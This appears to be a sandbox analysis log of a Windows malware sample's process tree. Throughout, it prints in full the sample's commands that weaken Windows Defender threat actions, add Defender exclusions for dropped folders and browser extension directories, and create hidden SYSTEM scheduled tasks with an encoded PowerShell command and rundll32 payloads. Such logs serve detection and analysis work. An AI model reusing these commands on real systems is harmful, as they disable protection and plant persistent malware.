C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2120 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:323⤵
- Suspicious use of WriteProcessMemory
PID:4720 -
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:324⤵PID:1996
-
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:643⤵PID:5084
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:323⤵PID:4348
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:643⤵PID:3656
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:323⤵PID:4484
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:643⤵PID:2064
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:323⤵PID:1924
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:643⤵PID:2912
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:323⤵PID:3300
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:643⤵PID:1604
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:323⤵PID:4328
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:643⤵PID:1044
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:323⤵PID:2396
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:643⤵PID:4940
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:323⤵PID:1372
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:643⤵PID:3804
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:323⤵PID:5008
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:643⤵PID:4948
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:323⤵PID:2264
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:643⤵PID:3260
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:323⤵PID:2716
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:643⤵PID:848
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:323⤵PID:1984
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:643⤵PID:3212
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:323⤵PID:3504
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:643⤵PID:3240
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:323⤵PID:3148
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:643⤵PID:5112
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VDiAXGzPiWUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VDiAXGzPiWUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\epUZFeichsCPC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\epUZFeichsCPC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\fZHZowTYSgfU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\fZHZowTYSgfU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qBvbbKpBU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qBvbbKpBU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\nxeoDZreGracWIVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\nxeoDZreGracWIVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\JHEwijpMlSQrgvQB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\JHEwijpMlSQrgvQB\" /t REG_DWORD /d 0 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:920 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR" /t REG_DWORD /d 0 /reg:323⤵PID:4368
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR" /t REG_DWORD /d 0 /reg:324⤵PID:4880
-
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR" /t REG_DWORD /d 0 /reg:643⤵PID:2812
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VDiAXGzPiWUn" /t REG_DWORD /d 0 /reg:323⤵PID:4540
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VDiAXGzPiWUn" /t REG_DWORD /d 0 /reg:643⤵PID:2768
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\epUZFeichsCPC" /t REG_DWORD /d 0 /reg:323⤵PID:1712
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\epUZFeichsCPC" /t REG_DWORD /d 0 /reg:643⤵PID:3476
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\fZHZowTYSgfU2" /t REG_DWORD /d 0 /reg:323⤵PID:532
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\fZHZowTYSgfU2" /t REG_DWORD /d 0 /reg:643⤵PID:836
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qBvbbKpBU" /t REG_DWORD /d 0 /reg:323⤵PID:544
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qBvbbKpBU" /t REG_DWORD /d 0 /reg:643⤵PID:4728
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\nxeoDZreGracWIVB /t REG_DWORD /d 0 /reg:323⤵PID:4472
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\nxeoDZreGracWIVB /t REG_DWORD /d 0 /reg:643⤵PID:3544
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:323⤵PID:5040
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:643⤵PID:2924
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:323⤵PID:4716
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:643⤵PID:1496
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla /t REG_DWORD /d 0 /reg:323⤵PID:2876
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla /t REG_DWORD /d 0 /reg:643⤵PID:2796
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\JHEwijpMlSQrgvQB /t REG_DWORD /d 0 /reg:323⤵PID:2960
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\JHEwijpMlSQrgvQB /t REG_DWORD /d 0 /reg:643⤵PID:2628
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gOnSLtuaM" /SC once /ST 01:04:07 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="2⤵
- Creates scheduled task(s)
PID:2512
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gOnSLtuaM"2⤵PID:1160
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gOnSLtuaM"2⤵PID:4060
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "MWViHNuTpmRlpInKg" /SC once /ST 02:36:09 /RU "SYSTEM" /TR "\"C:\Windows\Temp\JHEwijpMlSQrgvQB\pYfKFPLgxLIWjmS\dwDhHVv.exe\" Ci /JIsite_idTRr 385118 /S" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:828
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "MWViHNuTpmRlpInKg"2⤵PID:3212
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2828 -
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force2⤵PID:1080
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵PID:4436
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc1⤵PID:4964
-
C:\Windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵PID:4932
-
C:\Windows\Temp\JHEwijpMlSQrgvQB\pYfKFPLgxLIWjmS\dwDhHVv.exeC:\Windows\Temp\JHEwijpMlSQrgvQB\pYfKFPLgxLIWjmS\dwDhHVv.exe Ci /JIsite_idTRr 385118 /S1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3148 -
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "bpJjqbWMDOjxkYrvBb"2⤵PID:3356
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &2⤵PID:4796
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"3⤵PID:960
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True4⤵PID:4352
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2456 -
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True6⤵
- Suspicious use of AdjustPrivilegeToken
PID:2872
-
-
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\qBvbbKpBU\CoPIfj.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "wbeMFPOaxEodGIM" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:2504
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "wbeMFPOaxEodGIM2" /F /xml "C:\Program Files (x86)\qBvbbKpBU\tdfVGAH.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:2204
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /END /TN "wbeMFPOaxEodGIM"2⤵PID:3764
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "wbeMFPOaxEodGIM"2⤵PID:3152
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "ahmsGQGyepwQnm" /F /xml "C:\Program Files (x86)\fZHZowTYSgfU2\aJtOsWq.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:2828
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "NOwjEMTwOUYCj2" /F /xml "C:\ProgramData\nxeoDZreGracWIVB\WFVdaTI.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:4360
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "ZeWhkVIxDswmIVkZF2" /F /xml "C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR\DXIODRJ.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:2660
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "rhpwGKPBtZLjUbFdohf2" /F /xml "C:\Program Files (x86)\epUZFeichsCPC\jafxhIg.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:4960
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "BinjFlxHFUMMGNOij" /SC once /ST 04:04:29 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\JHEwijpMlSQrgvQB\ZCDJPBcy\qOGTqyv.dll\",#1 /gEsite_idacO 385118" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:2216
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "BinjFlxHFUMMGNOij"2⤵PID:4288
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "MWViHNuTpmRlpInKg"2⤵PID:2924
-
-
